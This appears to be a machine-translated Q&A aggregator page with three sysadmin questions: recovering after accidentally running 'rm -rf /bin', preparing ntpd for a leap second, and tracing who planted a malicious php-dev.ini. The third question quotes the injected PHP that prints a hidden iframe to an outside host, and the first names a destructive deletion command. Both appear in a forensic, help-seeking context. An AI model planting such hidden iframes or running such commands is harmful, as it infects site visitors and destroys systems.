小编sna*_*nap的帖子

我刚刚删除了“/bin”。最好的恢复方法是什么?

我只是跑了(不是故意的!)rm -rf /bin

我已经关闭了计算机并正在使用 Finnix 尝试从中恢复。我已经成功安装了驱动器,并确认,是的,整个/bin文件夹都被删除了。

是否可以在不重新安装操作系统的情况下从中恢复?

我想我可以设置一个具有相同操作系统和架构(Ubuntu Server 11.10 alpha 版本,x86)的 VM 并安装我在服务器上安装的所有软件包,然后只需复制/bin文件夹。

这会起作用吗?我最好重新开始吗?

linux ubuntu

10
推荐指数
2
解决办法
2万
查看次数

Linux ntpd闰秒准备

2015 年 6 月 30 日 23:59:60 UTC 将出现闰秒。

我有一个基于 Linux 的第 1 层 NTP 服务器,它使用 GPS 作为参考时钟。服务器正在使用“默认” ntp.org ntpd

我应该如何为闰秒做准备以确保在闰秒时和之后有正确的时间可用?

ntpd服务器会正确运行吗?

如果不确定,有没有办法事先测试?

linux ntp ntpd gps leapsecond

10
推荐指数
1
解决办法
494
查看次数

如何监视文件/目录更改

我有一台运行 Debian Lenny 的服务器。最近我遇到了一些安全问题。我特别看到在 /etc/php5/conf.d 中创建了一个名为“php-dev.ini”的文件。乍一看,该文件看起来正常且无害,直到您打开它。它包含:

<?php print "<iframe src='http://google-traf.zyns.com/index.php?tp=4abd7c0637c89d7a' width='1' height='1' frameborder='0'></iframe>"; ?>
Run Code Online (Sandbox Code Playgroud)

显然我知道服务器有安全问题,所以请不要说“你给服务器打补丁了吗?” 回应。那已经完成了。已检查服务器是否存在 rootkit,并且没有可疑帐户。我对什么用户或 PID 正在写入此目录特别感兴趣,并且正在寻找可以使用哪些工具来帮助我。我已经研究过“iwatch”和“inotify”,但想在我走上研究之路之前从其他人那里得到一些反馈。有谁知道一个可以帮助我识别的好工具:

  1. 什么用户正在写入此目录
  2. 什么 PID 用于写入文件
  3. 哪个应用程序正在写入此目录

基本上,我希望做一些取证并了解监视文件系统。任何见解将不胜感激。

(编辑以引用 PHP 代码示例,因为它之前未显示。)

security linux debian

1
推荐指数
1
解决办法
2393
查看次数

标签 统计

linux ×3

debian ×1

gps ×1

leapsecond ×1

ntp ×1

ntpd ×1

security ×1

ubuntu ×1